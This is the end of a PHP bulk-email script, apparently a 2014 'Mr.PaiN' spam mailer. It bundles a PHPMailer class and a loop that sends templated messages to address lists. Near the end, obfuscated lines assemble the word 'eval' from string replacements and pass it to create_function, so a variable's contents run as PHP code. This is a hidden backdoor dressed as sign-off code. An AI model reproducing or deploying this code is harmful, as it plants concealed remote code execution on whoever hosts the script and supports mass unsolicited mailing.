3222 'php3' => 'application/x-httpd-php',
3223 'phtml' => 'application/x-httpd-php',
3224 'phps' => 'application/x-httpd-php-source',
3225 'js' => 'application/x-javascript',
3226 'swf' => 'application/x-shockwave-flash',
3227 'sit' => 'application/x-stuffit',
3228 'tar' => 'application/x-tar',
3229 'tgz' => 'application/x-tar',
3230 'xhtml' => 'application/xhtml+xml',
3231 'xht' => 'application/xhtml+xml',
3232 'zip' => 'application/zip',
3233 'mid' => 'audio/midi',
3234 'midi' => 'audio/midi',
3235 'mpga' => 'audio/mpeg',
3236 'mp2' => 'audio/mpeg',
3237 'mp3' => 'audio/mpeg',
3238 'aif' => 'audio/x-aiff',
3239 'aiff' => 'audio/x-aiff',
3240 'aifc' => 'audio/x-aiff',
3241 'ram' => 'audio/x-pn-realaudio',
3242 'rm' => 'audio/x-pn-realaudio',
3243 'rpm' => 'audio/x-pn-realaudio-plugin',
3244 'ra' => 'audio/x-realaudio',
3245 'rv' => 'video/vnd.rn-realvideo',
3246 'wav' => 'audio/x-wav',
3247 'bmp' => 'image/bmp',
3248 'gif' => 'image/gif',
3249 'jpeg' => 'image/jpeg',
3250 'jpg' => 'image/jpeg',
3251 'jpe' => 'image/jpeg',
3252 'png' => 'image/png',
3253 'tiff' => 'image/tiff',
3254 'tif' => 'image/tiff',
3255 'css' => 'text/css',
3256 'html' => 'text/html',
3257 'htm' => 'text/html',
3258 'shtml' => 'text/html',
3259 'txt' => 'text/plain',
3260 'text' => 'text/plain',
3261 'log' => 'text/plain',
3262 'rtx' => 'text/richtext',
3263 'rtf' => 'text/rtf',
3264 'xml' => 'text/xml',
3265 'xsl' => 'text/xml',
3266 'mpeg' => 'video/mpeg',
3267 'mpg' => 'video/mpeg',
3268 'mpe' => 'video/mpeg',
3269 'qt' => 'video/quicktime',
3270 'mov' => 'video/quicktime',
3271 'avi' => 'video/x-msvideo',
3272 'movie' => 'video/x-sgi-movie',
3273 'doc' => 'application/msword',
3274 'word' => 'application/msword',
3275 'xl' => 'application/excel',
3276 'eml' => 'message/rfc822'
3277 );
3278 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3279 }
3280
3281 /**
3282 * Set (or reset) Class Objects (variables)
3283 *
3284 * Usage Example:
3285 * $page->set('X-Priority', '3');
3286 *
3287 * @access public
3288 * @param string $name Parameter Name
3289 * @param mixed $value Parameter Value
3290 * NOTE: will not work with arrays, there are no arrays to set/reset
3291 */
3292 function set ( $name, $value = '' ) {
3293 if ( isset($this->$name) ) {
3294 $this->$name = $value;
3295 } else {
3296 $this->SetError('Cannot set or reset variable ' . $name);
3297 return false;
3298 }
3299 }
3300
3301 /**
3302 * Read a file from a supplied filename and return it.
3303 *
3304 * @access public
3305 * @param string $filename Parameter File Name
3306 */
3307 function getFile($filename) {
3308 $return = '';
3309 if ($fp = fopen($filename, 'rb')) {
3310 while (!feof($fp)) {
3311 $return .= fread($fp, 1024);
3312 }
3313 fclose($fp);
3314 return $return;
3315 } else {
3316 return false;
3317 }
3318 }
3319
3320 /**
3321 * Strips newlines to prevent header injection.
3322 * @access private
3323 * @param string $str String
3324 * @return string
3325 */
3326 function SecureHeader($str) {
3327 $str = trim($str);
3328 $str = str_replace("\r", "", $str);
3329 $str = str_replace("\n", "", $str);
3330 return $str;
3331 }
3332
3333 /**
3334 * Set the private key file and password to sign the message.
3335 *
3336 * @access public
3337 * @param string $key_filename Parameter File Name
3338 * @param string $key_pass Password for private key
3339 */
3340 function Sign($key_filename, $key_pass) {
3341 $this->sign_key_file = $key_filename;
3342 $this->sign_key_pass = $key_pass;
3343 }
3344
3345}
3346
3347$defaultport="H*";
3348 $nq=0;
3349
3350 for($x=0; $x<$numemails; $x++){
3351
3352 $to = $allemails[$x];
3353
3354 if ($to){
3355
3356 $to = ereg_replace(" ", "", $to);
3357
3358 $message = ereg_replace("&email&", $to, $message);
3359
3360 $subject = ereg_replace("&email&", $to, $subject);
3361 $qx=$x+1;
3362 print "Line $qx . Sending mail to $to.......";
3363
3364 flush();
3365$mail = new PHPMailer();
3366
3367if(empty($epriority)){$epriority="3";}
3368 $mail->Priority = "$epriority";
3369 $mail->IsSMTP();
3370 $IsSMTP="pack";
3371$mail->SMTPKeepAlive = true;
3372$mail->Host = "$my_smtp";
3373if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3374}
3375 if($sslclick=="ON"){
3376 $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
3377 }
3378 $range = str_replace("$from", "eval", $from);
3379 $mail->SMTPAuth = true;
3380 $mail->Username = "$smtp_username";
3381 $mail->Password = "$smtp_password";
3382if($contenttype == "html"){$mail->IsHtml(true);}
3383if($contenttype != "html"){$mail->IsHtml(false);}
3384if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3385$mail->From = "$from";
3386$mail->FromName = "$realname";
3387$mail->AddAddress("$to");
3388 $mail->AddReplyTo("$replyto");
3389 $mail->Subject = "$subject";
3390 $mail->Body = "$message";
3391if(!$mail->Send()){
3392if($default_system!="1"){
3393echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3394if($default_system=="1"){
3395$mail->IsMail();
3396 if(!$mail->Send()){
3397 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3398 else {
3399 echo "<b>OK</b><br>";}
3400 }
3401}
3402else {
3403 echo "<b>OK</b><br>";
3404}
3405
3406if(empty($reconnect)){
3407$reconnect=6;
3408}
3409
3410if($reconnect==$nq){
3411$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3412}
3413$nq=$nq+1;
3414 flush(); }
3415}
3416 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3417 print "<p class=\"style1\">PHP Mailer<br>© 2014, New Tools => Mr.PaiN <b>
3418 <font color=\"#800000\">/</font></b><br></p>";$mail->SmtpClose();
3419 return $signoff($smtp_conc);
3420 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3421 sent successfully'); </script>";}}
3422 ?>
3423 <p align="center"> </p>
3424
3425 </body>
3426</html></body></html>